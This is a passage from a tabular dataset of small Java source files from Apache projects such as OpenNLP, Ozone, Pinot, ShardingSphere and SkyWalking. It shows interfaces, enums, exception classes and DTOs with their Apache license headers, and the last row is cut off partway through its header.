repo_id stringclasses 875
values | size int64 974 38.9k | file_path stringlengths 10 308 | content stringlengths 974 38.9k |
|---|---|---|---|
apache/opennlp | 1,134 | opennlp-core/opennlp-runtime/src/main/java/opennlp/tools/postag/POSTagFormat.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package opennlp.tools.postag;
/**
* Defines the format for part-of-speech tagging, i.e.
* <a href="https://www.ling.upenn.edu/courses/Fall_2003/ling001/penn_treebank_pos.html">PENN</a>
* or <a href="https://universaldependencies.org/u/feat/index.html">UD</a> format.
*/
public enum POSTagFormat {
UD, PENN, CUSTOM, UNKNOWN
}
|
apache/openwebbeans | 1,094 | webbeans-impl/src/test/java/org/apache/webbeans/test/interceptors/factory/beans/UnproxyableClass.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.webbeans.test.interceptors.factory.beans;
public final class UnproxyableClass implements UnproxyableClassInterface {
private final String name;
public UnproxyableClass(String name) {
this.name = name;
}
@Override
public String getName() {
return name;
}
}
|
apache/openwebbeans | 1,123 | webbeans-impl/src/test/java/org/apache/webbeans/test/unittests/annotation/LiteralType.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.webbeans.test.unittests.annotation;
import jakarta.enterprise.util.AnnotationLiteral;
import org.apache.webbeans.test.annotation.binding.AnnotationWithBindingMember;
public abstract class LiteralType extends AnnotationLiteral<AnnotationWithBindingMember> implements AnnotationWithBindingMember
{
}
|
apache/ozhera | 1,123 | ozhera-monitor/ozhera-monitor-api/src/main/java/org/apache/ozhera/monitor/service/AB.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.ozhera.monitor.service;
/**
* @author gaoxihui
* @date 2021/7/6 1:49 下午
*/
public interface AB {
void testA();
public String testError() throws Exception;
public String testSlowQuery(com.xiaomi.youpin.dubbo.request.RequestContext requestContext) throws InterruptedException;
}
|
apache/ozone | 1,118 | hadoop-ozone/ozone-manager/src/main/java/org/apache/hadoop/ozone/om/snapshot/PersistentList.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.hadoop.ozone.om.snapshot;
import org.apache.hadoop.ozone.util.ClosableIterator;
/**
* Define an interface for persistent list.
*/
public interface PersistentList<E> {
boolean add(E entry);
boolean addAll(PersistentList<E> from);
E get(int index);
ClosableIterator<E> iterator();
}
|
apache/paimon-webui | 1,124 | paimon-web-server/src/main/java/org/apache/paimon/web/server/mapper/UserTenantMapper.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.paimon.web.server.mapper;
import org.apache.paimon.web.server.data.model.UserTenant;
import com.baomidou.mybatisplus.core.mapper.BaseMapper;
import org.apache.ibatis.annotations.Mapper;
/** user_tenant table mapper. */
@Mapper
public interface UserTenantMapper extends BaseMapper<UserTenant> {}
|
apache/phoenix | 1,116 | phoenix-pherf/src/main/java/org/apache/phoenix/pherf/workload/mt/operations/PreScenarioOperation.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.phoenix.pherf.workload.mt.operations;
import java.util.List;
import org.apache.phoenix.pherf.configuration.Ddl;
/**
* Defines a pre scenario operation.
* @see {@link OperationType#PRE_RUN}
*/
public interface PreScenarioOperation extends Operation {
List<Ddl> getPreScenarioDdls();
}
|
apache/phoenix | 1,120 | phoenix-pherf/src/main/java/org/apache/phoenix/pherf/workload/mt/operations/IdleTimeOperation.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.phoenix.pherf.workload.mt.operations;
import org.apache.phoenix.pherf.configuration.IdleTime;
/**
* Defines a no op operation, typically used to simulate idle time.
* @see {@link OperationType#IDLE_TIME}
*/
public interface IdleTimeOperation extends Operation {
IdleTime getIdleTime();
}
|
apache/pinot | 1,114 | pinot-controller/src/main/java/org/apache/pinot/controller/api/exception/TableAlreadyExistsException.java | /**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.pinot.controller.api.exception;
public class TableAlreadyExistsException extends RuntimeException {
public TableAlreadyExistsException(String message) {
super(message);
}
public TableAlreadyExistsException(String message, Throwable cause) {
super(message, cause);
}
}
|
apache/plc4x | 1,135 | plc4j/api/src/main/java/org/apache/plc4x/java/api/model/PlcSubscriptionTag.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.plc4x.java.api.model;
import org.apache.plc4x.java.api.types.PlcSubscriptionType;
import java.time.Duration;
import java.util.Optional;
public interface PlcSubscriptionTag extends PlcTag {
PlcSubscriptionType getPlcSubscriptionType();
PlcTag getTag();
Optional<Duration> getDuration();
}
|
apache/poi | 1,165 | poi/src/main/java/org/apache/poi/hssf/record/package-info.java | /* ====================================================================
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==================================================================== */
/**
* Record package contains class representations for XLS binary strutures. Its very low level.
*
* @see org.apache.poi.hssf.eventmodel
* @see org.apache.poi.hssf.record.RecordFactory
*/
package org.apache.poi.hssf.record; |
apache/polygene-java | 1,118 | libraries/appbrowser/src/main/java/org/apache/polygene/library/appbrowser/Formatter.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.polygene.library.appbrowser;
import org.json.JSONException;
public interface Formatter<NODE, LEAF>
{
void enter( NODE visited )
throws JSONException;
void leave( NODE visited )
throws JSONException;
void visit( LEAF visited )
throws JSONException;
}
|
apache/polygene-java | 1,122 | libraries/restlet/src/main/java/org/apache/polygene/library/restlet/HasDescription.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*
*/
package org.apache.polygene.library.restlet;
import org.apache.polygene.api.common.Optional;
import org.apache.polygene.api.common.UseDefaults;
import org.apache.polygene.api.property.Property;
public interface HasDescription
{
@Optional @UseDefaults
Property<String> description();
}
|
apache/polygene-java | 1,124 | core/bootstrap/src/main/java/org/apache/polygene/bootstrap/layered/LayerAssembler.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*
*/
package org.apache.polygene.bootstrap.layered;
import org.apache.polygene.bootstrap.AssemblyException;
import org.apache.polygene.bootstrap.LayerAssembly;
@FunctionalInterface
public interface LayerAssembler
{
LayerAssembly assemble( LayerAssembly layer )
throws AssemblyException;
}
|
apache/pulsar-manager | 1,121 | src/main/java/org/apache/pulsar/manager/controller/exception/FieldErrorResource.java | /**
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.pulsar.manager.controller.exception;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
import lombok.Getter;
@JsonIgnoreProperties(ignoreUnknown = true)
@Getter
public class FieldErrorResource {
private String resource;
private String field;
private String code;
private String message;
public FieldErrorResource(String resource, String field, String code, String message) {
this.resource = resource;
this.field = field;
this.code = code;
this.message = message;
}
}
|
apache/ratis | 1,131 | ratis-test/src/test/java/org/apache/ratis/grpc/cli/TestGroupCommandIntegrationWithGrpc.java | /**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.ratis.grpc.cli;
import org.apache.ratis.grpc.MiniRaftClusterWithGrpc;
import org.apache.ratis.shell.cli.sh.GroupCommandIntegrationTest;
public class TestGroupCommandIntegrationWithGrpc
extends GroupCommandIntegrationTest<MiniRaftClusterWithGrpc>
implements MiniRaftClusterWithGrpc.FactoryGet{
}
|
apache/reef | 1,118 | lang/java/reef-runtime-yarn/src/main/java/org/apache/reef/runtime/yarn/driver/TrackingURLProvider.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.reef.runtime.yarn.driver;
import org.apache.reef.tang.annotations.DefaultImplementation;
/**
* Implement this interface to set the tracking URL reported to YARN.
*/
@DefaultImplementation(HttpTrackingURLProvider.class)
public interface TrackingURLProvider {
String getTrackingUrl();
}
|
apache/rocketmq-flink | 1,115 | src/main/java/org/apache/flink/connector/rocketmq/common/constant/SchemaRegistryConstant.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.flink.connector.rocketmq.common.constant;
/** SchemaRegistryConstant. */
public class SchemaRegistryConstant {
public static final String SCHEMA_REGISTRY_BASE_URL = "http://localhost:8080";
public static final String SCHEMA_REGISTRY_BASE_URL_KEY = "schema.registry.base.url";
}
|
apache/rocketmq-mqtt | 1,128 | mqtt-common/src/main/java/org/apache/rocketmq/mqtt/common/facade/AuthManager.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.rocketmq.mqtt.common.facade;
import io.netty.handler.codec.mqtt.MqttMessage;
import org.apache.rocketmq.mqtt.common.hook.HookResult;
public interface AuthManager {
/**
* MQTT packet authentication
*
* @param message
* @return
*/
HookResult doAuth(MqttMessage message);
}
|
apache/rya | 1,122 | extras/rya.indexing.pcj/src/main/java/org/apache/rya/indexing/pcj/storage/PCJIdFactory.java | /**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.rya.indexing.pcj.storage;
import java.util.UUID;
/**
* Creates IDs for new Precomputed Joins.
*/
public class PCJIdFactory {
/**
* @return The next ID to use for a PCJ.
*/
public String nextId() {
return UUID.randomUUID().toString().replaceAll("-", "");
}
} |
apache/samza | 1,132 | samza-core/src/main/java/org/apache/samza/coordinator/PartitionChangeException.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.samza.coordinator;
import org.apache.samza.SamzaException;
/**
* Exception to indicate that the input {@link org.apache.samza.system.SystemStreamPartition} changed
*/
public class PartitionChangeException extends SamzaException {
public PartitionChangeException(String s) {
super(s);
}
}
|
apache/seatunnel-web | 1,104 | seatunnel-server/seatunnel-app/src/main/java/org/apache/seatunnel/app/domain/dto/user/UpdateUserDto.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.seatunnel.app.domain.dto.user;
import lombok.Builder;
import lombok.Data;
@Builder
@Data
public class UpdateUserDto {
private Integer id;
private String username;
private String password;
private int status;
private int type;
private String authProvider;
}
|
apache/seatunnel | 1,111 | seatunnel-e2e/seatunnel-e2e-common/src/test/java/org/apache/seatunnel/e2e/common/junit/TestContainers.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.seatunnel.e2e.common.junit;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Target(ElementType.FIELD)
@Retention(RetentionPolicy.RUNTIME)
public @interface TestContainers {}
|
apache/servicecomb-java-chassis | 1,058 | swagger/swagger-generator/generator-core/src/test/java/org/apache/servicecomb/swagger/generator/core/utils/methodUtilsModel/AbstractBean.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.servicecomb.swagger.generator.core.utils.methodUtilsModel;
public abstract class AbstractBean {
private String type;
public String getType() {
return type;
}
public void setType(String type) {
this.type = type;
}
}
|
apache/shardingsphere-elasticjob | 1,084 | registry-center/api/src/main/java/org/apache/shardingsphere/elasticjob/reg/listener/DataChangedEventListener.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.shardingsphere.elasticjob.reg.listener;
/**
* Data changed listener.
*/
public interface DataChangedEventListener {
/**
* Fire when data changed.
*
* @param event data changed event
*/
void onChange(DataChangedEvent event);
}
|
apache/shardingsphere-elasticjob | 1,088 | api/src/main/java/org/apache/shardingsphere/elasticjob/spi/tracing/storage/TracingStorageConfiguration.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.shardingsphere.elasticjob.spi.tracing.storage;
/**
* Tracing storage configuration.
*
* @param <T> storage type
*/
public interface TracingStorageConfiguration<T> {
/**
* Create storage.
*
* @return storage
*/
T getStorage();
}
|
apache/shardingsphere-example | 1,071 | example-core/example-spring-mybatis/src/main/java/org/apache/shardingsphere/example/core/mybatis/repository/MybatisOrderRepository.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.shardingsphere.example.core.mybatis.repository;
import org.apache.shardingsphere.example.core.api.repository.OrderRepository;
import org.apache.ibatis.annotations.Mapper;
@Mapper
public interface MybatisOrderRepository extends OrderRepository {
}
|
apache/shardingsphere | 1,059 | proxy/frontend/dialect/opengauss/src/main/java/org/apache/shardingsphere/proxy/frontend/opengauss/authentication/authenticator/OpenGaussAuthenticator.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.shardingsphere.proxy.frontend.opengauss.authentication.authenticator;
import org.apache.shardingsphere.authentication.Authenticator;
/**
* OpenGauss authenticator.
*/
public interface OpenGaussAuthenticator extends Authenticator {
}
|
apache/shenyu | 1,119 | shenyu-admin/src/main/java/org/apache/shenyu/admin/service/configs/ConfigsExportImportHandler.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.shenyu.admin.service.configs;
import java.util.Optional;
public interface ConfigsExportImportHandler {
ConfigsExportImportEnum configsEnum();
Optional<String> configsExport(String namespaceId);
void configsImport(String namespaceId, String data, ConfigsImportContext context);
}
|
apache/skywalking-java | 1,047 | test/plugin/scenarios/shardingsphere-5.0.0-scenario/src/main/java/org/apache/skywalking/apm/testcase/shardingsphere/service/utility/config/ExampleConfiguration.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package org.apache.skywalking.apm.testcase.shardingsphere.service.utility.config;
import java.sql.SQLException;
import javax.sql.DataSource;
public interface ExampleConfiguration {
DataSource createDataSource() throws SQLException;
}
|
apache/skywalking-java | 1,078 | test/plugin/scenarios/vertx-core-4.x-scenario/src/main/java/org/apache/skywalking/apm/testcase/vertxcore/util/CustomMessage.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package org.apache.skywalking.apm.testcase.vertxcore.util;
public class CustomMessage {
private final String message;
public CustomMessage(String message) {
this.message = message;
}
public String getMessage() {
return message;
}
}
|
apache/skywalking | 1,093 | oap-server/server-core/src/main/java/org/apache/skywalking/oap/server/core/query/type/AsyncProfilerTaskListResult.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.skywalking.oap.server.core.query.type;
import lombok.AllArgsConstructor;
import lombok.Data;
import java.util.List;
@Data
@AllArgsConstructor
public class AsyncProfilerTaskListResult {
private String errorReason;
private List<AsyncProfilerTask> tasks;
}
|
apache/skywalking | 1,101 | oap-server/exporter/src/test/java/org/apache/skywalking/oap/server/exporter/provider/grpc/MockIntValueMetrics.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
